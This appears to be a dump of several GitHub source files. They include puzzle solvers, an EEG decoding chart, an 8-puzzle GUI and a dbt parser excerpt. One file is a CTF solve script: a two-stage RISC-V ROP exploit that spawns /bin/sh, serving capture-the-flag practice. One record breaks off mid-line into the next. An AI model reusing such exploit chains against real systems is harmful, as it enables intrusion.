markdown.markdown(''.join(description).strip())\n return info\n\ndef main():\n if len(sys.argv) != 2:\n print('%s ' % sys.argv[0])\n sys.exit(1)\n\n matcher = Runnable(sys.argv[1], {})\n matcher.run(data_out = '-')\n\nif __name__ == '__main__':\n main()\n","repo_name":"vavrusa/seqalpha","sub_path":"web/runnables/quadclass.py","file_name":"quadclass.py","file_ext":"py","file_size_in_byte":2473,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"27"} +{"seq_id":"16435742007","text":"file = open(\"07.txt\", \"r\")\n\ncircuit = {}\nc_data = {}\nfor line in file:\n s = line.strip()\n code, wire = s.split(\" -> \")\n c_parse = code.split()\n\n if len(c_parse) == 1:\n circuit[wire] = {\"cmd\": None, \"o1\": c_parse[0]}\n elif len(c_parse) == 2:\n circuit[wire] = {\"cmd\": \"NOT\", \"o1\": c_parse[1]}\n else:\n circuit[wire] = {\"cmd\": c_parse[1], \"o1\": c_parse[0], \"o2\": c_parse[2]}\n\ndef get_wire(wire):\n global circuit, c_data\n if wire in c_data: return c_data[wire]\n w = circuit[wire]\n #print(wire)\n \n if not w[\"cmd\"]:\n if w[\"o1\"].isdecimal(): signal = int(w[\"o1\"])\n else: signal = get_wire(w[\"o1\"])\n elif w[\"cmd\"] == \"NOT\":\n signal = 65535 - get_wire(w[\"o1\"])\n else:\n if w[\"cmd\"] == \"RSHIFT\":\n signal = get_wire(w[\"o1\"]) >> int(w[\"o2\"])\n elif w[\"cmd\"] == \"LSHIFT\":\n signal = (get_wire(w[\"o1\"]) << int(w[\"o2\"])) % 65536\n else:\n a = int(w[\"o1\"]) if w[\"o1\"].isdecimal() else get_wire(w[\"o1\"])\n b = int(w[\"o2\"]) if w[\"o2\"].isdecimal() else get_wire(w[\"o2\"])\n if w[\"cmd\"] == \"OR\": signal = a | b\n else: signal = a & b\n c_data[wire] = signal\n return signal\n\nanswer = get_wire(\"a\")\nprint(\"Part 1: Wire \\'a\\' signal:\", answer)\n#setting wire 'b' to result and resetting the rest\nc_data = {\"b\": answer}\nanswer = get_wire(\"a\")\nprint(\"Part 2: Wire \\'a\\' signal:\", answer)\n","repo_name":"daExile/advent-of-code","sub_path":"2015/python/day07.py","file_name":"day07.py","file_ext":"py","file_size_in_byte":1428,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"7278831182","text":"from collections import deque\nimport sys\nN = int(sys.stdin.readline())\nground = [[-1 for _ in range(N)] for _ in range(N)]\ndx = [-2, -2, 0, 0, 2, 2]\ndy = [-1, 1, -2, 2, -1, 1]\nr1, c1, r2, c2 = map(int, sys.stdin.readline().split())\nq = deque()\nq.append((r1, c1))\nground[r1][c1] = 0\nwhile q:\n x, y = q.popleft()\n for i in range(6):\n nx = x + dx[i]\n ny = y + dy[i]\n if 0<=nx:\tmv\tt1,a0\n 0x41784 <_dl_runtime_resolve+56>:\tld\tra,72(sp)\n 0x41786 <_dl_runtime_resolve+58>:\tld\ta0,8(sp)\n 0x41788 <_dl_runtime_resolve+60>:\tld\ta1,16(sp)\n 0x4178a <_dl_runtime_resolve+62>:\tld\ta2,24(sp)\n 0x4178c <_dl_runtime_resolve+64>:\tld\ta3,32(sp)\n 0x4178e <_dl_runtime_resolve+66>:\tld\ta4,40(sp)\n 0x41790 <_dl_runtime_resolve+68>:\tld\ta5,48(sp)\n 0x41792 <_dl_runtime_resolve+70>:\tld\ta6,56(sp)\n 0x41794 <_dl_runtime_resolve+72>:\tld\ta7,64(sp)\n 0x41796 <_dl_runtime_resolve+74>:\tfld\tfa0,80(sp)\n 0x41798 <_dl_runtime_resolve+76>:\tfld\tfa1,88(sp)\n 0x4179a <_dl_runtime_resolve+78>:\tfld\tfa2,96(sp)\n 0x4179c <_dl_runtime_resolve+80>:\tfld\tfa3,104(sp)\n 0x4179e <_dl_runtime_resolve+82>:\tfld\tfa4,112(sp)\n 0x417a0 <_dl_runtime_resolve+84>:\tfld\tfa5,120(sp)\n 0x417a2 <_dl_runtime_resolve+86>:\tfld\tfa6,128(sp)\n 0x417a4 <_dl_runtime_resolve+88>:\tfld\tfa7,136(sp)\n 0x417a6 <_dl_runtime_resolve+90>:\taddi\tsp,sp,144\n 0x417a8 <_dl_runtime_resolve+92>:\tjr\tt1\n\n '''\n \n '''gad_set_a0\n 0x4602e <__dlopen+42>:\tld\tra,40(sp)\n 0x46030 <__dlopen+44>:\tld\ta0,16(sp)\n 0x46032 <__dlopen+46>:\taddi\tsp,sp,48\n 0x46034 <__dlopen+48>:\tret\n '''\n \n # Constants\n gad_set_all = 0x41782\n gad_set_a0 = 0x4602e\n \n read = 0x00000000000260da\n ecall = 0x1414a\n writeable = 0x0006c000\n start = 0x0000000000010434\n \n # Stage 1\n payload = b\"a\"*40 # padding\n payload += p64(gad_set_a0) # ra register - ret value\n\n # gad set a0\n # 16 bytes padding - a0 value - 16 bytes padding - ra value to ret\n payload += p64(0x69696969)*2 + p64(read) + p64(0x69696969)*2 + p64(gad_set_all)\n\n # gad set all\n payload += p64(0x69696969) # padding\n payload += p64(0) # a0\n payload += p64(writeable) # a1\n payload += p64(0x500) # a2\n payload += p64(0)*5 # padding (a3,a4,a5,a6,a7)\n payload += p64(start) # ra register - ret to start for stage 2\n payload += p64(0)*8 # padding\n \n r.sendline(payload)\n \n pause()\n \n r.sendline('/bin/sh\\0')\n \n pause()\n \n # stage 2\n payload = b\"a\"*40 # padding\n payload += p64(gad_set_a0) # ra register - ret value\n\n # gad set a0\n # 16 bytes padding - a0 value - 16 bytes padding - ra value to ret\n payload += p64(0x69696969)*2 + p64(ecall) + p64(0x69696969)*2 + p64(gad_set_all)\n\n # gad set all\n # setup for execve(\"/bin/sh\", NULL, NULL)\n payload += p64(0x69696969) # padding\n payload += p64(writeable) # a0 : \"/bin/sh\"\n payload += p64(0) # a1 : NULL\n payload += p64(0) # a2 : NULL\n payload += p64(0)*4 # padding\n payload += p64(221) # a7 - syscall number\n payload += p64(0) # ret, not used now\n payload += p64(0)*8 # padding\n \n r.sendline(payload)\n \n r.interactive() # SCTF{Ropping RISCV is no difference!}\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"M0ngi/CTF-Writeups","sub_path":"2022/Hacker's Playground 2022/sources/riscy/deploy/solve.py","file_name":"solve.py","file_ext":"py","file_size_in_byte":3528,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"27"} +{"seq_id":"39571622134","text":"# -*- coding: utf-8 -*-\nimport os\nimport sys\nimport getopt\n\n\n\ndef main(argv):\n Q = [\"one_path\",\"triangle\",\"two_path\", \"rectangle\"]\n Data = [\"Amazon2\",\"Amazon1\",\"RoadnetPA\",\"RoadnetCA\",\"Deezer\"]\n eps = 0.1\n i = 0;\n j = 0\n try:\n opts, args = getopt.getopt(argv,\"h:Q:D:e:\",[\"QueryId=\",\"DataId=\",\"Epsilon=\"])\n except getopt.GetoptError:\n print(\"CollectResultsRM.py -Q -D -e \")\n sys.exit(2)\n for opt, arg in opts:\n if opt == '-h':\n print(\"CollectResultsRM.py -Q -D -e \")\n sys.exit()\n elif opt in (\"-Q\", \"--QueryId\"):\n j = int(arg)\n elif opt in (\"-D\", \"--DataId\"):\n i = int(arg)\n elif opt in (\"-e\", \"--Epsilon\"):\n eps = float(arg)\n cur_path=os.getcwd()\n cmd = \"python \"+cur_path+\"/../Code/RM.py -e \"+str(eps)+\" -d 0.1 -I \"+cur_path+\"/../Information/Graph/\"+Q[j]+\"/\"+Data[i]+\".txt\"\n result = []\n time = 0\n for i in range(10):\n shell = os.popen(cmd, 'r')\n res = shell.read()\n res = res.split()\n a = float(res[2])\n b = float(res[5])\n c = float(res[7])\n result.append(abs(a-b))\n time+=c\n result.sort()\n res = sum(result)-result[0]-result[1]-result[10-1]-result[10-2]\n res = res/6\n time = time/10\n print(\"Error\")\n print(res)\n print(\"Time\")\n print(time)\n\n\n\nif __name__ == \"__main__\":\n main(sys.argv[1:])\n","repo_name":"hkustDB/Race-to-the-Top","sub_path":"Script/CollectResultsRM.py","file_name":"CollectResultsRM.py","file_ext":"py","file_size_in_byte":1700,"program_lang":"python","lang":"en","doc_type":"code","stars":33,"dataset":"github-code","pt":"27"} +{"seq_id":"2082065918","text":"from pprint import pprint\r\nimport random\r\nfrom types import new_class\r\n\r\nfrom PySide6.QtCharts import QChart, QSplineSeries, QValueAxis,QAreaSeries,QLineSeries\r\nfrom PySide6.QtCore import Qt, QTimer, Slot, QPointF, QRect\r\nfrom PySide6.QtGui import QPen, QPainter,QLinearGradient,QGradient,QColor\r\nfrom PySide6.QtWidgets import QApplication\r\nimport sys\r\nimport numpy as np\r\nimport pickle\r\nimport scipy.signal as signal\r\nfrom scipy.signal import cheb2ord\r\nfrom FBCSP import FBCSP\r\nfrom Classifier import Classifier\r\nfrom sklearn.svm import SVR\r\nfrom FilterBank import FilterBank\r\nfrom scipy import stats\r\nimport statistics\r\nfrom time import sleep\r\nimport socket\r\n\r\nclass Chart(QChart):\r\n def __init__(self, data_package = None,real_data = None, parent = None,min = 1,max = 0,EEG_EOG_Cat_classification=None, Errp_data = None):\r\n super().__init__(QChart.ChartTypeCartesian, parent, Qt.WindowFlags())\r\n self.SAMPLE_COUNT = 3000\r\n self._timer = QTimer()\r\n self.data_package = data_package\r\n self.real_data =real_data\r\n self.min = min\r\n self.max = max\r\n self.EEG_EOG_Cat_classification = EEG_EOG_Cat_classification\r\n self.errp_data = Errp_data\r\n\r\n self.series_area_0 = QLineSeries()\r\n self.series_area_1 = QLineSeries()\r\n self.series_area_0.append(QPointF(2550, (data_package.shape[0]) * (max-min)))\r\n self.series_area_0.append(QPointF(2950, (data_package.shape[0]) * (max-min)))\r\n self.series_area_1.append(QPointF(2550, min+ 2*(max-min)))\r\n self.series_area_1.append(QPointF(2950, min+ 2*(max-min)))\r\n self.area_series = QAreaSeries(self.series_area_0, self.series_area_1)\r\n self.gradient = QLinearGradient(QPointF(0, 0), QPointF(0, 1))\r\n self.gradient.setColorAt(0.0, QColor(0,0,255,50))\r\n self.gradient.setColorAt(0.5, QColor(0,0,255,50))\r\n self.gradient.setColorAt(1, QColor(0,0,255,50))\r\n self.gradient.setCoordinateMode(QGradient.ObjectBoundingMode)\r\n self.area_series.setBrush(self.gradient)\r\n block_pen = QPen(Qt.transparent)\r\n self.area_series.setPen(block_pen)\r\n\r\n self.series_area_2 = QLineSeries()\r\n self.series_area_3 = QLineSeries()\r\n self.series_area_2.append(QPointF(2550, max))\r\n self.series_area_2.append(QPointF(2950, max))\r\n self.series_area_3.append(QPointF(2550, min))\r\n self.series_area_3.append(QPointF(2950, min))\r\n self.area_series_eog = QAreaSeries(self.series_area_2, self.series_area_3)\r\n gradient_eog = QLinearGradient(QPointF(0, 0), QPointF(0, 1))\r\n gradient_eog.setColorAt(0.0, QColor(255,0,100,150))\r\n gradient_eog.setColorAt(0.5, QColor(255,0,100,150))\r\n gradient_eog.setColorAt(1, QColor(255,0,100,150))\r\n gradient_eog.setCoordinateMode(QGradient.ObjectBoundingMode)\r\n self.area_series_eog.setBrush(gradient_eog)\r\n self.area_series_eog.setPen(block_pen)\r\n self.addSeries(self.area_series_eog)\r\n\r\n self.series_area_4 = QLineSeries()\r\n self.series_area_5 = QLineSeries()\r\n self.series_area_4.append(QPointF(2550, data_package.shape[0] * (max-min)))\r\n self.series_area_4.append(QPointF(2950, data_package.shape[0] * (max-min)))\r\n self.series_area_5.append(QPointF(2550, min))\r\n self.series_area_5.append(QPointF(2950, min))\r\n self.area_series_errp = QAreaSeries(self.series_area_4, self.series_area_5)\r\n self.gradient_errp = QLinearGradient(QPointF(0, 0), QPointF(0, 1))\r\n self.gradient_errp.setColorAt(0.0, QColor(255,255,255,150))\r\n self.gradient_errp.setColorAt(0.5, QColor(255,255,255,150))\r\n self.gradient_errp.setColorAt(1, QColor(255,255,255,150))\r\n self.gradient_errp.setCoordinateMode(QGradient.ObjectBoundingMode)\r\n self.area_series_errp.setBrush(self.gradient_errp)\r\n block_pen = QPen(Qt.transparent)\r\n self.area_series.setPen(block_pen)\r\n self.addSeries(self.area_series_errp)\r\n self.area_series_errp.setVisible(False)\r\n\r\n self.series_area_6 = QLineSeries()\r\n self.series_area_7 = QLineSeries()\r\n self.series_area_6.append(QPointF(2550, max+(max-min)))\r\n self.series_area_6.append(QPointF(2950, max+(max-min)))\r\n self.series_area_7.append(QPointF(2550, min+(max-min)))\r\n self.series_area_7.append(QPointF(2950, min+(max-min)))\r\n self.area_series_labels = QAreaSeries(self.series_area_6, self.series_area_7)\r\n self.gradient_labels = QLinearGradient(QPointF(0, 0), QPointF(0, 1))\r\n self.gradient_labels.setColorAt(0.0, QColor(0,0,255,255))\r\n self.gradient_labels.setColorAt(0.5, QColor(0,0,255,255))\r\n self.gradient_labels.setColorAt(1, QColor(0,0,255,255))\r\n self.gradient_labels.setCoordinateMode(QGradient.ObjectBoundingMode)\r\n self.area_series_labels.setBrush(self.gradient_labels)\r\n self.area_series_labels.setPen(block_pen)\r\n self.addSeries(self.area_series_labels)\r\n self.area_series.setBrush(self.gradient)\r\n block_pen = QPen(Qt.transparent)\r\n self.area_series.setPen(block_pen)\r\n self._titles = []\r\n self._axisX = QValueAxis()\r\n self._axisY = QValueAxis()\r\n self._step = 0\r\n self._x = 5\r\n self._y = 1\r\n self._timer.timeout.connect(self.handleTimeout)\r\n self._timer.setInterval(50)\r\n self.green = QPen(0xFFFF55)\r\n self.green.setWidth(1.5)\r\n self._axisY.setGridLineVisible(False)\r\n self._axisX.setGridLineVisible(False)\r\n self._axisX.hide()\r\n self._axisX.setLabelsVisible(False)\r\n self.my_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, 0)\r\n self.ip = '127.0.0.1'\r\n self.port = 8888\r\n self.ip_address = (self.ip, self.port)\r\n self.addSeries(self.area_series)\r\n self.all_series = []\r\n self.all_buffers = []\r\n EOG_Pen = QPen(0x00FF00)\r\n EOG_Pen.setWidth(2)\r\n for i in range(self.data_package.shape[0]):\r\n self.temp_series = QLineSeries(self)\r\n if(i == 0 or i== 1):\r\n self.temp_series.setPen(EOG_Pen)\r\n else:\r\n self.temp_series.setPen(self.green)\r\n self.all_series.append(self.temp_series)\r\n\r\n for i in range(len(self.all_series)):\r\n self.addSeries(self.all_series[i])\r\n\r\n self.setBackgroundBrush(Qt.black)\r\n self.addAxis(self._axisX, Qt.AlignBottom)\r\n self.addAxis(self._axisY, Qt.AlignLeft)\r\n self.area_series.attachAxis(self._axisX)\r\n self.area_series.attachAxis(self._axisY)\r\n self.area_series_eog.attachAxis(self._axisX)\r\n self.area_series_eog.attachAxis(self._axisY)\r\n self.area_series_labels.attachAxis(self._axisX)\r\n self.area_series_labels.attachAxis(self._axisY)\r\n self.area_series_errp.attachAxis(self._axisX)\r\n self.area_series_errp.attachAxis(self._axisY)\r\n self._axisX.setTickCount(self.SAMPLE_COUNT)\r\n self._axisX.setRange(0, self.SAMPLE_COUNT)\r\n self._axisY.setRange(min, (max-min)*len(self.all_series))\r\n self._timer.start()\r\n self.signal_index = 0\r\n self.flag_mi_decoding = False\r\n for i in range(len(self.all_series)):\r\n self.temp_buffer = [QPointF(x, i*(max-min)) for x in range(self.SAMPLE_COUNT)]\r\n self.all_buffers.append(self.temp_buffer)\r\n self.all_series[i].append(self.all_buffers[i])\r\n for i in range(len(self.all_series)):\r\n self.all_series[i].attachAxis(self._axisX)\r\n self.all_series[i].attachAxis(self._axisY)\r\n self.eog_flag = 0\r\n self.decoding_loops = 0\r\n with open(r'classification_models/fbcsp.pkl', 'rb') as f:\r\n m_filters = 2\r\n self.fbcsp = FBCSP(m_filters)\r\n self.fbcsp = pickle.load(f)\r\n self.freq =250\r\n with open(r'classification_models/Errp_rieman.pkl', 'rb') as f:\r\n self.errp_classifier = pickle.load(f)\r\n self.fbank = FilterBank(self.freq)\r\n fbank_coeff = self.fbank.get_filter_coeff()\r\n with open(r'classification_models/fbcsp_classifier.pkl', 'rb') as e:\r\n classifier_type = SVR(gamma='auto')\r\n self.fbcsp_classifier = Classifier(classifier_type)\r\n self.fbcsp_classifier = pickle.load(e)\r\n self.eog_triggered_time = 0\r\n self.mi_end = True\r\n self.start_position = -1\r\n self.eog_start_pos = 0\r\n self.errp_flag = False\r\n self.errp_decoding_loops = 0\r\n self.mi_results_temp = []\r\n self.errp_results_temp = []\r\n\r\n def get_multi_class_regressed(self, y_predicted):\r\n y_predict_multi = np.asarray([np.argmin(y_predicted[i,:]) for i in range(y_predicted.shape[0])])\r\n return y_predict_multi\r\n \r\n def identify_eog(self, eeg_data):\r\n feature = np.array([np.std(eeg_data), np.mean(eeg_data), np.min(eeg_data), np.max(eeg_data)]).reshape(1,-1)\r\n with open(r'classification_models/classifier.pkl', 'rb') as f:\r\n clf = pickle.load(f)\r\n result = int(clf.predict(feature))\r\n return result\r\n \r\n def errp_decoding(self):\r\n if(self.errp_decoding_loops<=4):\r\n errp_temp = self.errp_data[:,self.signal_index-450:self.signal_index-240]\r\n result = self.errp_classifier.predict(np.expand_dims(errp_temp, axis=0))[0]\r\n print('Errp results:',result)\r\n if(int(result) == 1):\r\n self.area_series_errp.setVisible(True)\r\n else:\r\n self.area_series_errp.setVisible(False)\r\n self.errp_decoding_loops += 1\r\n self.errp_results_temp.append(result)\r\n else:\r\n classification_result= stats.mode(self.errp_results_temp)[0][0]\r\n if(classification_result == 1):\r\n self.my_socket.sendto('6'.encode('utf-8'),self.ip_address)\r\n print('Classification result:', classification_result)\r\n\r\n self.errp_results_temp = []\r\n self.errp_decoding_loops = 0\r\n self.area_series_errp.setVisible(False)\r\n self.errp_flag = False\r\n return 0\r\n\r\n def change_label_color(self, label_data):\r\n classification_result= stats.mode(label_data)[0][0]\r\n if(classification_result == 0):\r\n self.gradient_labels.setColorAt(0.0, QColor(255,0,0,255))\r\n self.gradient_labels.setColorAt(0.5, QColor(255,0,0,255))\r\n self.gradient_labels.setColorAt(1, QColor(255,0,0,255))\r\n self.area_series_labels.setBrush(self.gradient_labels)\r\n if(classification_result == 1):\r\n self.gradient_labels.setColorAt(0.0, QColor(153,51,255,255))\r\n self.gradient_labels.setColorAt(0.5, QColor(153,51,255,255))\r\n self.gradient_labels.setColorAt(1, QColor(153,51,255,255))\r\n self.area_series_labels.setBrush(self.gradient_labels)\r\n if(classification_result == 2):\r\n self.gradient_labels.setColorAt(0.0, QColor(255,51,0,255))\r\n self.gradient_labels.setColorAt(0.5, QColor(255,51,0,255))\r\n self.gradient_labels.setColorAt(1, QColor(255,51,0,255))\r\n self.area_series_labels.setBrush(self.gradient_labels)\r\n if(classification_result == 3):\r\n self.gradient_labels.setColorAt(0.0, QColor(102,255,255,255))\r\n self.gradient_labels.setColorAt(0.5, QColor(102,255,255,255))\r\n self.gradient_labels.setColorAt(1, QColor(102,255,255,255))\r\n self.area_series_labels.setBrush(self.gradient_labels)\r\n if(classification_result == 6):\r\n self.gradient_labels.setColorAt(0.0, QColor(255,255,255,255))\r\n self.gradient_labels.setColorAt(0.5, QColor(255,255,255,255))\r\n self.gradient_labels.setColorAt(1, QColor(255,255,255,255))\r\n self.area_series_labels.setBrush(self.gradient_labels)\r\n if(classification_result == 7):\r\n self.gradient_labels.setColorAt(0.0, QColor(0,0,255,255))\r\n self.gradient_labels.setColorAt(0.5, QColor(0,0,255,255))\r\n self.gradient_labels.setColorAt(1, QColor(0,0,255,255))\r\n self.area_series_labels.setBrush(self.gradient_labels)\r\n if(classification_result == 0.5):\r\n self.gradient_labels.setColorAt(0.0, QColor(0,0,255,255))\r\n self.gradient_labels.setColorAt(0.5, QColor(0,0,255,255))\r\n self.gradient_labels.setColorAt(1, QColor(0,0,255,50))\r\n self.area_series_labels.setBrush(self.gradient_labels)\r\n return 0\r\n\r\n def mi_decoding(self):\r\n if(self.decoding_loops<=8):\r\n eeg_data = self.EEG_EOG_Cat_classification[1:23,self.signal_index-450:self.signal_index-50]\r\n n_classes = 4\r\n eeg_data = np.expand_dims(eeg_data, axis= 0)\r\n filtered_data_test = self.fbank.filter_data(eeg_data)\r\n y_test_predicted = np.zeros((1, n_classes), dtype=np.float)\r\n for j in range(n_classes):\r\n x_features_test = self.fbcsp.transform(filtered_data_test,class_idx=j)\r\n y_test_predicted[0,j] = self.fbcsp_classifier.predict(x_features_test[0].reshape(1,-1))\r\n y_test_predicted_multi = self.get_multi_class_regressed(y_test_predicted)\r\n result = y_test_predicted_multi[0]\r\n print(result)\r\n if(result==0):\r\n self.gradient.setColorAt(0.0, QColor(255,0,0,50))\r\n self.gradient.setColorAt(0.5, QColor(255,0,0,50))\r\n self.gradient.setColorAt(1, QColor(255,0,0,50))\r\n self.area_series.setBrush(self.gradient)\r\n if(result==1):\r\n self.gradient.setColorAt(0.0, QColor(153,51,255,50))\r\n self.gradient.setColorAt(0.5, QColor(153,51,255,50))\r\n self.gradient.setColorAt(1, QColor(153,51,255,50))\r\n self.area_series.setBrush(self.gradient)\r\n if(result==2):\r\n self.gradient.setColorAt(0.0, QColor(255,51,0,50))\r\n self.gradient.setColorAt(0.5, QColor(255,51,0,50))\r\n self.gradient.setColorAt(1, QColor(255,51,0,50))\r\n self.area_series.setBrush(self.gradient)\r\n if(result==3):\r\n self.gradient.setColorAt(0.0, QColor(102,255,255,50))\r\n self.gradient.setColorAt(0.5, QColor(102,255,255,50))\r\n self.gradient.setColorAt(1, QColor(102,255,255,50))\r\n self.area_series.setBrush(self.gradient)\r\n self.mi_results_temp.append(result)\r\n self.decoding_loops += 1\r\n else:\r\n classification_result= stats.mode(self.mi_results_temp)[0][0] + 2\r\n print('Classification result:', classification_result)\r\n self.my_socket.sendto(str(classification_result).encode('utf-8'),self.ip_address)\r\n self.mi_results_temp = []\r\n self.errp_flag = True\r\n self.start_position = -1\r\n self.mi_end = True\r\n \r\n if(self.mi_end == True):\r\n self.decoding_loops = 0\r\n self.gradient.setColorAt(0.0, QColor(0,0,255,50))\r\n self.gradient.setColorAt(0.5, QColor(0,0,255,50))\r\n self.gradient.setColorAt(1, QColor(0,0,255,50))\r\n self.area_series.setBrush(self.gradient)\r\n return 0\r\n\r\n @Slot()\r\n def handleTimeout(self):\r\n y = (self._axisX.max() - self._axisX.min()) / self._axisX.tickCount()\r\n self._x += y\r\n\r\n start = 0\r\n available_samples = 20\r\n if(self.signal_index >= self.data_package.shape[1]- (2 * available_samples)):\r\n QApplication.exit()\r\n if (available_samples < self.SAMPLE_COUNT):\r\n start = self.SAMPLE_COUNT - available_samples\r\n for s in range(start):\r\n for i in range(len(self.all_series)):\r\n self.all_buffers[i][s].setY(self.all_buffers[i][s + available_samples].y())\r\n \r\n for s in range(start, self.SAMPLE_COUNT):\r\n for i in range(len(self.all_series)):\r\n value = self.data_package[i][self.signal_index]\r\n self.all_buffers[i][s].setY(value + i*(self.max - self.min))\r\n self.signal_index = self.signal_index + 1\r\n for i in range(len(self.all_series)):\r\n self.all_series[i].replace(self.all_buffers[i])\r\n current_data = self.data_package[1,self.signal_index-400:self.signal_index-200]\r\n self.change_label_color(current_data)\r\n if(self.signal_index > 400):\r\n eog_data = self.EEG_EOG_Cat_classification[0,self.signal_index-450:self.signal_index-50]\r\n eog_result = self.identify_eog(eog_data)\r\n if(eog_result == 0):\r\n self.eog_triggered_time = 0\r\n self.area_series_eog.setVisible(False)\r\n else:\r\n if(self.mi_end == True):\r\n self.eog_start_pos = self.signal_index\r\n self.start_position = self.signal_index\r\n self.area_series_eog.setVisible(True)\r\n self.eog_triggered_time +=1\r\n\r\n if(self.start_position != -1 and self.start_position+650 > self.signal_index and (self.signal_index-self.eog_start_pos)>0):\r\n self.mi_end = False\r\n self.mi_decoding()\r\n\r\n if(self.start_position==-1):\r\n self.mi_end = True\r\n if(self.mi_end == True):\r\n self.decoding_loops = 0\r\n self.gradient.setColorAt(0.0, QColor(0,0,255,50))\r\n self.gradient.setColorAt(0.5, QColor(0,0,255,50))\r\n self.gradient.setColorAt(1, QColor(0,0,255,50))\r\n self.area_series.setBrush(self.gradient)\r\n if(self.errp_flag == True):\r\n self.errp_decoding()\r\n\r\n","repo_name":"Delusionx1/HEEG_Online","sub_path":"HEEG_Online/chart.py","file_name":"chart.py","file_ext":"py","file_size_in_byte":18038,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"27"} +{"seq_id":"19749060739","text":"import sys\r\nimport time\r\nfrom functools import partial\r\n\r\nimport random\r\nfrom PyQt5 import QtCore, QtGui, QtWidgets\r\nfrom PyQt5.QtWidgets import QApplication, QMainWindow, QMessageBox\r\n\r\nimport Astar\r\nimport ReRankSudoku\r\n\r\nlist_range = [1,2,3,4,5,6,7,8,0]\r\n\r\ndef display(display_range):\r\n ui.label_0.setPixmap(QtGui.QPixmap(\":/material/result/\"+str(display_range[0])))\r\n ui.label_1.setPixmap(QtGui.QPixmap(\":/material/result/\"+str(display_range[1])))\r\n ui.label_2.setPixmap(QtGui.QPixmap(\":/material/result/\"+str(display_range[2])))\r\n ui.label_3.setPixmap(QtGui.QPixmap(\":/material/result/\"+str(display_range[3])))\r\n ui.label_4.setPixmap(QtGui.QPixmap(\":/material/result/\"+str(display_range[4])))\r\n ui.label_5.setPixmap(QtGui.QPixmap(\":/material/result/\"+str(display_range[5])))\r\n ui.label_6.setPixmap(QtGui.QPixmap(\":/material/result/\"+str(display_range[6])))\r\n ui.label_7.setPixmap(QtGui.QPixmap(\":/material/result/\"+str(display_range[7])))\r\n ui.label_8.setPixmap(QtGui.QPixmap(\":/material/result/\"+str(display_range[8])))\r\n sum = 0\r\n for num in display_range:\r\n sum *=10\r\n sum +=num\r\n ui.label_0.repaint()\r\n ui.label_1.repaint()\r\n ui.label_2.repaint()\r\n ui.label_3.repaint()\r\n ui.label_4.repaint()\r\n ui.label_5.repaint()\r\n ui.label_6.repaint()\r\n ui.label_7.repaint()\r\n ui.label_8.repaint()\r\n ui.list_end.setText(str(sum))\r\n\r\ndef inverse_number(range_l):\r\n flag=0\r\n for ind_s,s in enumerate(range_l):\r\n if s==0:\r\n continue\r\n for t in range_l[ind_s:]:\r\n if t==0:\r\n continue\r\n if t ParsedModelNode:\n if validate:\n ParsedModelNode.validate(dct)\n return ParsedModelNode.from_dict(dct)\n\n @property\n def resource_type(self) -> NodeType:\n return NodeType.Model\n\n @classmethod\n def get_compiled_path(cls, block: FileBlock):\n return block.path.relative_path\n\n # TODO when this is turned on by default, simplify the nasty if/else tree inside this method.\n def render_update(\n self, node: ParsedModelNode, config: ContextConfig\n ) -> None:\n # TODO go back to 1/100 when this is turned on by default.\n # `True` roughly 1/50 times this function is called\n sample: bool = random.randint(1, 51) == 50\n\n # top-level declaration of variables\n experimentally_parsed: Optional[Union[str, Dict[str, List[Any]]]] = None\n config_call_dict: Dict[str, Any] = {}\n source_calls: List[List[str]] = []\n result: List[str] = []\n\n # run the experimental parser if the flag is on or if we're sampling\n if flags.USE_EXPERIMENTAL_PARSER or sample:\n if self._has_banned_macro(node):\n experimentally_parsed = \"has_banned_macro\"\n else:\n # run the experimental parser and return the results\n try:\n experimentally_parsed = py_extract_from_source(\n node.raw_sql\n )\n logger.debug(f\"1699: statically parsed {node.path}\")\n # if we want information on what features are barring the experimental\n # parser from reading model files, this is where we would add that\n # since that information is stored in the `ExtractionError`.\n except ExtractionError:\n experimentally_parsed = \"cannot_parse\"\n\n # if the parser succeeded, extract some data in easy-to-compare formats\n if isinstance(experimentally_parsed, dict):\n # create second config format\n for c in experimentally_parsed['configs']:\n ContextConfig._add_config_call(config_call_dict, {c[0]: c[1]})\n\n # format sources TODO change extractor to match this type\n for s in experimentally_parsed['sources']:\n source_calls.append([s[0], s[1]])\n experimentally_parsed['sources'] = source_calls\n\n # if we're sampling during a normal dbt run, populate an entirely new node to compare\n if not flags.USE_EXPERIMENTAL_PARSER:\n if sample and isinstance(experimentally_parsed, dict):\n # if this will _never_ mutate anything `self` we could avoid these deep copies,\n # but we can't really guarantee that going forward.\n model_parser_copy = self.partial_deepcopy()\n exp_sample_node = deepcopy(node)\n exp_sample_config = deepcopy(config)\n\n model_parser_copy.populate(\n exp_sample_node,\n exp_sample_config,\n experimentally_parsed\n )\n\n super().render_update(node, config)\n\n # if the --use-experimental-parser flag was set, and the experimental parser succeeded\n elif isinstance(experimentally_parsed, dict):\n # update the unrendered config with values from the static parser.\n # values from yaml files are in there already\n self.populate(\n node,\n config,\n experimentally_parsed\n )\n\n self.manifest._parsing_info.static_analysis_parsed_path_count += 1\n\n # the experimental parser didn't run on this model.\n # fall back to python jinja rendering.\n elif isinstance(experimentally_parsed, str):\n if experimentally_parsed == \"cannot_parse\":\n result += [\"01_stable_parser_cannot_parse\"]\n logger.debug(\n f\"1602: parser fallback to jinja for {node.path}\"\n )\n elif experimentally_parsed == \"has_banned_macro\":\n result += [\"08_has_banned_macro\"]\n logger.debug(\n f\"1601: parser fallback to jinja because of macro override for {node.path}\"\n )\n\n super().render_update(node, config)\n # otherwise jinja rendering.\n else:\n super().render_update(node, config)\n\n if sample and isinstance(experimentally_parsed, dict):\n # now that the sample succeeded, is populated and the current\n # values are rendered, compare the two and collect the tracking messages\n result += _get_exp_sample_result(\n exp_sample_node,\n exp_sample_config,\n node,\n config,\n )\n\n # fire a tracking event. this fires one event for every sample\n # so that we have data on a per file basis. Not only can we expect\n # no false positives or misses, we can expect the number model\n # files parseable by the experimental parser to match our internal\n # testing.\n if result and tracking.active_user is not None: # None in some tests\n tracking.track_experimental_parser_sample({\n \"project_id\": self.root_project.hashed_name(),\n \"file_id\": utils.get_hash(node),\n \"status\": result\n })\n\n # checks for banned macros\n def _has_banned_macro(\n self, node: ParsedModelNode\n ) -> bool:\n # first check if there is a banned macro defined in 